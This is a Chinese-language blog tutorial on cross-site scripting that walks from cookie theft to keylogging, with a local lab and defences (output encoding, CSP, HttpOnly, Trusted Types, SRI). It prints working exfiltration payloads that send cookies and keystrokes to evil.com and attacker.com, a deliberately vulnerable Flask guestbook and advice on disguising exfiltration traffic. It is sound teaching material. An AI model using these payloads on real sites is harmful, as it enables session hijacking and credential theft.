1. 从一道漏洞报告说起:XSS为什么值得认真对待
几年前我收到过一封漏洞报告,对方只用了一个看似无害的脚本标签,就把我负责的Web应用后台管理员的会话令牌拿到了手。整个过程不到十秒,没有爆破、没有提权,就只是在一个输入框里提交了一段代码。那是我第一次直观感受到跨站脚本攻击(XSS,Cross-Site Scripting)的可怕——它不针对服务器,也不针对网络链路,而是把用户的浏览器变成了攻击者的跳板。
XSS攻击的核心逻辑其实很简单:攻击者想办法让目标网站把一段恶意脚本当作正常内容返回给浏览器,浏览器在解析页面时执行了这段脚本,于是攻击者就获得了在用户浏览器上下文里"为所欲为"的能力。这个能力能做什么?轻则弹窗骚扰,重则窃取Cookie、劫持会话、记录键盘输入、篡改页面内容、发起钓鱼攻击,甚至通过浏览器漏洞进一步渗透到用户的内网环境。我们这次要拆解的,就是从Cookie窃取到键盘记录这条完整的攻击链路,以及每一环背后到底发生了什么。
这篇文章适合谁看?如果你是Web开发工程师,需要知道自己的代码为什么会被攻破;如果你是安全测试人员,想要一套完整的XSS利用思路;哪怕你只是对浏览器安全机制好奇的爱好者,这篇文章也能帮你在攻击者和防御者两个视角之间来回切换,建立起一套完整的威胁认知模型。我会用实战案例来讲原理,用踩坑经历来讲防御,尽量让每个概念都能落地。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 攻击的本质:三要素与三类XSS的区分逻辑
2.1 三要素:输入点、输出点、浏览器解析机制
任何一次XSS攻击的成立,都离不开三个条件的叠加:存在不可信数据进入应用的输入点、存在未经过滤或未编码的输出点、浏览器对HTML、JavaScript、CSS等内容的解析机制被利用。这三个条件缺一个,XSS就成不了。
打个比方,你家门口的信箱(输入点)投进来一封写着"今晚请把门禁密码贴到门上"的信(恶意数据),你看到后不假思索地把它转贴到了客厅的白板(输出点)上,每一位客人都能看到(浏览器解析)。攻击者不需要撬锁,他只是利用了"你家的白板不会审内容"这个习惯。
在实际代码里,最典型的漏洞写法是这样的:
javascript复制// 危险写法:直接把用户输入插入DOM
document.getElementById("user-info").innerHTML =
"<p>欢迎," + userInput + "</p>";
当userInput的内容是<img src=x onerror="alert(document.cookie)">时,浏览器解析这段HTML,img标签加载失败触发onerror事件,脚本执行,Cookie被弹出。整个过程服务器的接口完全正常,问题出在"前端把数据当HTML插入"这一步。
2.2 存储型、反射型与DOM型:三种攻击路径的实战差异
按攻击载荷的存放和触发位置,XSS可以分成三类,它们的攻击路径和利用难度差别很大。
存储型XSS(Stored XSS):恶意脚本被持久化存储到服务器端,比如评论、昵称、个人签名这些位置。任何用户访问到包含恶意内容的页面,脚本就会执行。这种类型危害最大,因为它可以"广撒网",所有浏览该页面的用户都可能中招。常见场景是论坛的帖子、电商平台的商品评价、社交平台的个人资料页。
反射型XSS(Reflected XSS):恶意脚本不存储在服务器,而是通过URL参数、表单提交等方式直接反射回响应页面。攻击者需要诱导用户点击精心构造的链接。比如这样:
code复制https://example.com/search?keyword=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
如果服务器直接把keyword的值原样输出到页面,用户点击这个链接后,脚本就跟着响应一起执行。这类攻击通常需要配合社会工程学诱导,比如伪装成短链接、二维码等。
DOM型XSS(DOM-based XSS):整个攻击过程不经过服务器端,纯粹在前端JavaScript代码里完成。攻击载荷通过URL的hash、window.name、postMessage等渠道进入页面,被前端脚本读取后写入DOM。这类攻击更难防御,因为服务器端的WAF和过滤规则根本看不到恶意内容,只有浏览器端的JavaScript在运行时才会触发。
三类XSS的对比,我用一张表来收拢:
| 类型 | 载荷存储位置 | 传播方式 | 典型场景 | 危害范围 |
|---|---|---|---|---|
| 存储型 | 服务器数据库 | 用户浏览触发 | 评论区、个人资料页 | 所有访问用户 |
| 反射型 | URL/请求参数 | 诱导点击链接 | 搜索页、错误提示页 | 单个被诱导用户 |
| DOM型 | 浏览器运行时内存 | 前端脚本读取触发 | SPA应用、单页应用 | 受限于具体页面逻辑 |
3. 攻击者的武器库:从Cookie窃取到键盘记录的技术拆解
3.1 窃取Cookie:为什么HttpOnly不是万能药
Cookie是Web应用维持会话状态的基石,也是XSS攻击最经典的窃取目标。攻击者拿到管理员的Cookie之后,可以绕过登录流程直接以管理员身份操作——就是所谓的会话劫持(Session Hijacking)。
窃取Cookie的常规payload长这样:
javascript复制// 方式一:通过document.cookie直接读取
new Image().src = "http://attacker.com/collect?cookie=" + document.cookie;
// 方式二:通过fetch发送(可以跨域带数据)
fetch("http://attacker.com/collect", {
method: "POST",
body: document.cookie
});
第一种方式利用了Image标签的跨域加载能力,把Cookie放在URL参数里发给攻击者服务器;第二种方式更隐蔽,POST请求体不会出现在访问日志的URL字段里,服务器端的日志监控更难发现。
很多开发者对Cookie的安全认知停在"设置HttpOnly就安全了"。HttpOnly确实能阻止JavaScript访问Cookie——设置了HttpOnly的Cookie不会被document.cookie读取到。但问题是,HttpOnly只防"读取",不防"使用"。攻击者的核心目的不是看你的Cookie字符串长什么样,而是以你的身份发起请求。
所以更进阶的绕过思路是:既然读不到HttpOnly的Cookie,那就让浏览器自己带上Cookie去请求。攻击者直接构造一个符合业务逻辑的请求,比如修改邮箱、添加管理员账号、发起转账,浏览器的Cookie自动附加到请求中,整个过程根本不需要读取Cookie的值。这种攻击方式叫作"请求伪造"或"跨站请求",HttpOnly完全防不住。
3.2 键盘记录:事件监听实现的隐蔽输入捕获
键盘记录器(Keylogger)是XSS攻击里杀伤力最强的载荷之一。它不需要读取Cookie,而是直接在页面上挂一个全局的事件监听器,把用户在当前页面的每一次击键全部记录下来,然后实时回传给攻击者服务器。
最小可用的键盘记录payload如下:
javascript复制document.addEventListener('keydown', function(event) {
var key = event.key;
if (key.length === 1) {
// 记录可见字符
new Image().src = "http://attacker.com/keys?k=" + encodeURIComponent(key);
} else {
// 记录特殊按键(Enter、Backspace、Shift等)
new Image().src = "http://attacker.com/keys?k=" + encodeURIComponent("[Ctrl]");
}
});
这段脚本监听document对象上的keydown事件。这里有个细节:监听的是document而不是具体的input元素,这样能捕获到页面上所有输入框的击键,包括用户名、密码、搜索框、聊天输入框里的内容。随着用户输入节奏,每个按键都会实时异步请求攻击者服务器,攻击者可以在自己的服务器上直播用户的输入过程。
真实攻击中键盘记录器通常还会配合其他手法增强隐蔽性,比如:
- 延迟回传:把击键内容缓存起来,每隔30秒批量回传一次,减小流量特征
- 接口伪装:回传地址伪装成统计接口、埋点接口,比如
/api/track?event=xxx,让流量监测难以识别 - 动态域名:攻击者使用动态生成的子域名轮换回传服务器地址,绕过域名黑名单
3.3 键盘记录攻击的升级版:表单劫持与钓鱼页面
键盘记录只是输入捕获的一种。更危险的是表单劫持(Form Grabbing)——攻击者监听表单的submit事件,在用户点击"登录"按钮的瞬间截获表单数据,甚至先复制一份原始数据,再放行表单继续提交,整个过程用户毫无感知。
还有升级到钓鱼层级的做法:攻击者利用XSS直接改写页面内容,把原本的登录框替换成一个精心伪造的登录框,用户输入的账号密码直接发送到攻击者服务器。页面地址栏的URL是对的、SSL证书是对的、页面风格是对的——除了背后多了一双正在读取数据的眼睛,其他一切看起来都很正常。
这类攻击对普通用户几乎是不可能的任务去识别的,因为攻击发生在"可信网站的内部",用户的所有信任基础都被利用了。
4. 实战推演:一条完整的XSS攻击链从注入到收割
4.1 环境搭建与靶场准备
为了把整个攻击链讲清楚,我建议你在本地搭一个小型靶场。三样东西就够:一个存在漏洞的Web应用、一个攻击者用来接收数据的服务器、一个受害者的浏览器。
我用的组合是这样的:
- 漏洞应用:用Python Flask写一个最简单的留言板,不设任何过滤
- 攻击者服务器:本地的HTTP服务器,监听一个端口,用来接收被窃取的数据
- 受害者浏览器:Chrome DevTools模拟,或者直接用普通浏览器
留言板的核心代码只有十几行:
python复制from flask import Flask, request, render_template_string
app = Flask(__name__)
messages = []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
content = request.form.get('content')
messages.append(content)
return render_template_string('''
<h1>留言板</h1>
<form method="POST">
<textarea name="content"></textarea>
<button type="submit">发布</button>
</form>
<ul>
{% for msg in messages %}
<li>{{ msg | safe }}</li>
{% endfor %}
</ul>
''')
if __name__ == '__main__':
app.run(debug=True)
注意{{ msg | safe }},这个过滤器的作用是告诉Jinja2模板引擎"别转义这段内容,直接输出HTML"。这就是漏洞点,生产代码里如果有人用safe或mark_safe等关闭转义,就是在给XSS开门。
攻击者服务器用一行Python命令就能起:
bash复制python3 -m http.server 8888
再用一个Python脚本接收并打印数据:
python复制from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print("收到请求:", self.path)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print("收到POST数据:", body)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
4.2 第一步:注入存储型XSS载荷
我在留言板的内容字段里提交了这样一段代码:
html复制<script>
document.addEventListener('keydown', function(e) {
fetch('http://127.0.0.1:8888/k?k=' + encodeURIComponent(e.key));
});
</script>
提交之后,这段脚本被存进messages列表。当任何用户打开留言板页面时,页面渲染这段脚本,浏览器把它当作普通JavaScript代码执行,一个键盘记录器就部署成功了。
这里有一个值得注意的细节:浏览器对<script>标签内的内容不会做HTML实体解码。也就是说,如果你把<script>放在textarea里提交,大多数框架会把<转义成<来防御攻击,但一旦使用|safe或等价手段,攻击载荷就会原封不动地进入HTML解析流程。这也是为什么输入过滤和输出编码要同时做——输入过滤是"守门员",输出编码是"最后一道防线"。
4.3 第二步:模拟受害者操作并捕获数据
我打开另一个浏览器窗口访问留言板页面,然后在这个页面上随便输入了一段测试内容,比如输入了"test password 123456"。攻击者的服务器上立刻滚动出现了一连串的请求:
code复制收到请求: /k?k=t
收到请求: /k?k=e
收到请求: /k?k=s
收到请求: /k?k=t
收到请求: /k?k=%20
收到请求: /k?k=p
...
%20是空格的URL编码。看到这里你可能会说,这不就是个按键一个请求吗,流量特征太明显了。确实,为了演示我把回传频率做到最高,真实攻击中会缓存一批按键再批量回传,并且回传地址会伪装成图片请求、统计埋点,让日志分析看起来毫无异常。
4.4 第三步:从击键数据还原用户的完整输入
收集到按键序列之后,攻击者要做的是把这些碎片拼回完整的输入。专业工具会记录每次keydown的时间戳,然后根据时间间隔和焦点元素把击键分组,还原出哪一段是用户名、哪一段是密码、哪一段是搜索关键词。
在我们的简单demo里,手动拼一下就够了。上面收到的按键序列可以还原为test password 123456,这可能是用户在其他网站的密码,也可能是用户在论坛私信里输入的敏感内容。足够说明问题了。
我在实测中还发现了一个有意思的细节:如果是中文输入法,keydown事件在拼音阶段就会触发,记录下来的是一串英文字母而不是汉字。但别以为这样输入法就能保护你,攻击者可以监听compositionend事件拿到最终提交的中文字符,或者干脆在input事件里读取event.target.value,拿到输入框的完整内容。攻击手法的演进永远比防御思维快一步。
4.5 扩展链路:从Cookie到会话接管
在留言板这样一个简单场景里没有登录功能,但在真实系统里,攻击者拿到键盘记录能力后会同时尝试窃取会话。构造一个同时窃取Cookie和记录按键的组合载荷:
html复制<script>
// 窃取Cookie并回传
fetch('http://attacker.com/c?c=' + document.cookie);
// 键盘记录并回传
document.addEventListener('keydown', function(e) {
fetch('http://attacker.com/k?k=' + encodeURIComponent(e.key));
});
</script>
如果目标的Cookie没有设置HttpOnly属性,document.cookie能直接拿到会话令牌。攻击者只要把这个令牌放进自己的浏览器,就能完全冒充受害者身份。如果Cookie设置了HttpOnly,就像前面说的,攻击者改用"借浏览器发请求"的策略:脚本自己用fetch发起业务请求,浏览器自动带上HttpOnly的Cookie,攻击者依然能完成恶意操作。
5. 防御体系拆解:从编码输出到纵深防御
5.1 输出编码:最后一道防线的正确姿势
XSS防御的第一原则是:所有动态输出到HTML上下文的内容,都必须经过合适的编码。这里的"合适"取决于输出位置。
我整理了一个速查表,覆盖了最常见的几种输出场景:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML标签内容 | HTML实体编码 | < → <,> → > |
| HTML属性值 | 属性值编码 | 引号、空格、& 等需要编码 |
| JavaScript字符串 | JavaScript编码 | \x3c、\u003c 等 |
| URL参数 | URL编码 | 保留字符和特殊字符均需编码 |
| CSS值 | CSS编码 | 尽量用十六进制转义 |
以最常见的HTML内容输出为例,Python的Jinja2模板默认开启自动转义,这就是为什么去掉|safe之后payload就变成了纯文本解析,攻击失效。同样地,Vue的插值表达式{{ }}默认转义、React的{}默认转义、Angular的插值语法默认转义。框架已经替你做了大部分工作,你要做的是不要主动关掉它。
值得注意的是,当你确实需要输出HTML片段(比如富文本编辑器内容)时,不能简单一转义了事,因为转义之后富文本的格式全乱了。这时候正确的做法是白名单过滤——用专门的库比如DOMPurify、bleach等,只放行允许的标签和属性,其余一律剥离。
5.2 输入侧与传输侧:CSP和HttpOnly/SameSite的组合使用
输入过滤是XSS防御的第一道关口,但不是所有输入都能安全过滤。富文本、Markdown、SVG、数学公式这些"半结构化"内容的过滤极其容易出错,正则表达式写不严谨就会留下绕过空间。
所以现代Web安全的核心思路是纵深防御(Defense in Depth):每一层防御都有盲区,但叠加起来就能覆盖绝大多数攻击面。
Content Security Policy(CSP) 是浏览器层面的安全策略,它可以明确告诉浏览器"这个页面只允许加载来自哪些源的脚本"。一个强CSP配置可以让页面内联脚本完全失效:
nginx复制Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
这条策略的意思是:脚本只能从同源地址加载,不允许内联脚本执行。一旦CSP生效,攻击者注入的<script>标签无论写什么内容都会被浏览器拒绝执行。
HttpOnly属性:在Set-Cookie时加上HttpOnly,JavaScript便读不到这个Cookie:
nginx复制Set-Cookie: sessionid=abc123; HttpOnly
SameSite属性:在Set-Cookie时加上SameSite=Lax或SameSite=Strict,可以限制第三方场景下的Cookie发送,减少跨站请求伪造(CSRF)的风险,也能在一定程度上降低XSS攻击利用Cookie的便捷性。
5.3 前端原生能力加固:Trusted Types与Mutation Observer
随着SPA应用越来越复杂,传统的防御手段已经不够用了。Chrome团队主导的Trusted Types规范,现在可以在前端从根上限制不安全DOM操作:它强制规定innerHTML、document.write等接口只能接收经过特定策略标记的"可信"HTML,否则直接报错。
启用方式是在响应头里加:
nginx复制Content-Security-Policy: require-trusted-types-for 'script'
前端再定义一个Trusted Types策略:
javascript复制// 定义可信HTML的处理策略
const escapeHTMLPolicy = trustedTypes.createPolicy("default", {
createHTML: (string) => string.replace(/</g, "<")
});
// 使用可信策略插入内容
el.innerHTML = escapeHTMLPolicy.createHTML(userInput);
这样一来,就算代码里写了el.innerHTML = userInput,浏览器也会因为userInput不是可信类型而拦截。
Mutation Observer则是一种检测手段。在页面注册一个监听所有DOM变动的观察器,当出现可疑的<script>节点插入时,立即上报并执行清理。这种方案在Web应用防火墙和浏览器扩展里都有落地,但对性能有一定影响,不是所有场景都适合。
6. 实战排错:XSS复现与排查的常见问题实录
6.1 为什么注入的脚本没有触发?
这是新手遇到最多的问题。脚本没触发的原因通常有几类,我按排查顺序整理了一个速查表:
| 现象 | 可能原因 | 下一步操作 |
|---|---|---|
| 页面显示代码文本 | 输出被转义 | 检查模板中是否使用了safe或等价关闭转义 |
| 代码被截断 | 引号未闭合,导致语法错误 | 用DevTools查看源码,确认输出位置是否有额外的引号或尖括号 |
| Content-Type是JSON或XML | 浏览器未按HTML解析 | 确认响应内容的Content-Type是否正常 |
| CSP拦截 | 页面配置了Content-Security-Policy | 查看控制台错误,调整脚本来源白名单 |
| 事件不触发 | 触发时机不对 | 确认事件类型(load、error、click等)是否匹配当前场景 |
我在实际复现中遇到最典型的一个坑是:Chrome新版会拦截通过window.location跨站跳转携带Cookie的行为,导致我的XSS payload在本地跑通但换到Chrome就失效了。后来改用fetch方法回传数据,兼容性就好了很多。
6.2 键盘记录脚本不生效的排查
键盘记录器最常见的失效原因是事件监听挂早了。如果脚本在页面DOM还没就绪时执行,document元素虽可监听但后续动态生成的内容事件可能捕获不到;如果目标页面用了Shadow DOM或者iframe嵌套,还需要考虑监听作用域的问题。
排查这类问题,我在Chrome DevTools的Console里执行:
javascript复制document.addEventListener('keydown', function(e) {
console.log('捕获按键:', e.key)
});
如果输出正常,说明页面事件监听逻辑没问题,问题出在payload被过滤或者执行时机不对。再检查一下注入的脚本是不是真的被浏览器当作代码执行了,最直接的办法是观察Network面板里有没有回传请求。
6.3 一个容易被忽略的实验坑:浏览器缓存与PWA
我在做存储型XSS复现时遇到过一件奇怪的事:攻击脚本已经删除了,但受害者页面每次刷新还是继续执行脚本。排查了半天才发现是Service Worker缓存了旧的HTML页面,每次访问直接走了本地缓存,完全没有跟服务器要新资源。
这类问题在本地实验时特别容易迷惑人,因为数据已经在服务器删除了,但浏览器端缓存和Service Worker让"幽灵脚本"继续存活。遇到这种情况,打开DevTools的Application面板清空Service Worker,或者直接无痕模式验证一下,就能快速定位问题。
6.4 真实场景中的盲区:第三方脚本与供应链攻击
最后一个必须提醒的点是:XSS不一定要来自你自己的代码缺陷。很多网站为了统计、客服、AB测试等功能接入了各种第三方JavaScript库,这些库一旦被攻破或恶意收购,注入的脚本会以满血权限跑在所有嵌入它的网站上——这就是供应链层面的XSS攻击。
我见过的真实案例是,一个统计脚本在某个版本的更新中加入了挖矿代码,几天内影响了成千上万个网站。防御这种攻击的思路是把第三方脚本的加载域收窄、开启SRI(Subresource Integrity)校验:
html复制<script src="https://cdn.example.com/js/widget.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9PZz0l2mTkTp0l2VGsUe9F3un4"
crossorigin="anonymous"></script>
SRI的作用是让浏览器在加载脚本时校验文件的哈希值,如果文件内容和预期不一致就直接拒绝执行。这样就算CDN被攻破、脚本被替换,浏览器也不会执行被篡改的内容。
7. 写在最后:这份攻防经验的边界与价值
XSS攻击看起来就一段代码的事,但它的技术链条涉及浏览器安全模型、Web应用架构、数据流分析、事件机制等多个层面。我花了很长的篇幅,从攻击者的视角拆解了Cookie窃取和键盘记录的实现路径,又从防御者的角度梳理了从输出编码到CSP的完整防护方案——因为我始终觉得,不理解攻击就谈不上有效的防御,这两件事是一体的。
我在实际工作中踩过最深的坑,是以为框架默认转义了就万事大吉。直到审计代码时发现,团队里有人为了让富文本显示正常,在好几个地方加了|safe,而且这些位置分散在模板的不同层级,靠人眼很难全部发现。后来我们总结了一套针对XSS的代码审计清单:凡是使用innerHTML、v-html、dangerouslySetInnerHTML、|safe的位置全部标记为高风险;凡是用户可输入内容走到这些高风险出口的路径,一律要求走白名单过滤加测试用例覆盖。
做安全的时间越长,越发现没有"绝对安全"这回事。XSS的攻防是一场持续演进的猫鼠游戏——攻击者不断找新的绕过姿势,防御者不断加固每一层防线,作为一线人员,我们能做的就是让每一层防线都足够扎实,并且永远保持对"默认安全"四个字的警惕。这套思路不限于XSS,理解它之后,你在面对SQL注入、CSRF、点击劫持等其他Web攻击时,也会有一个更清晰的判断框架。
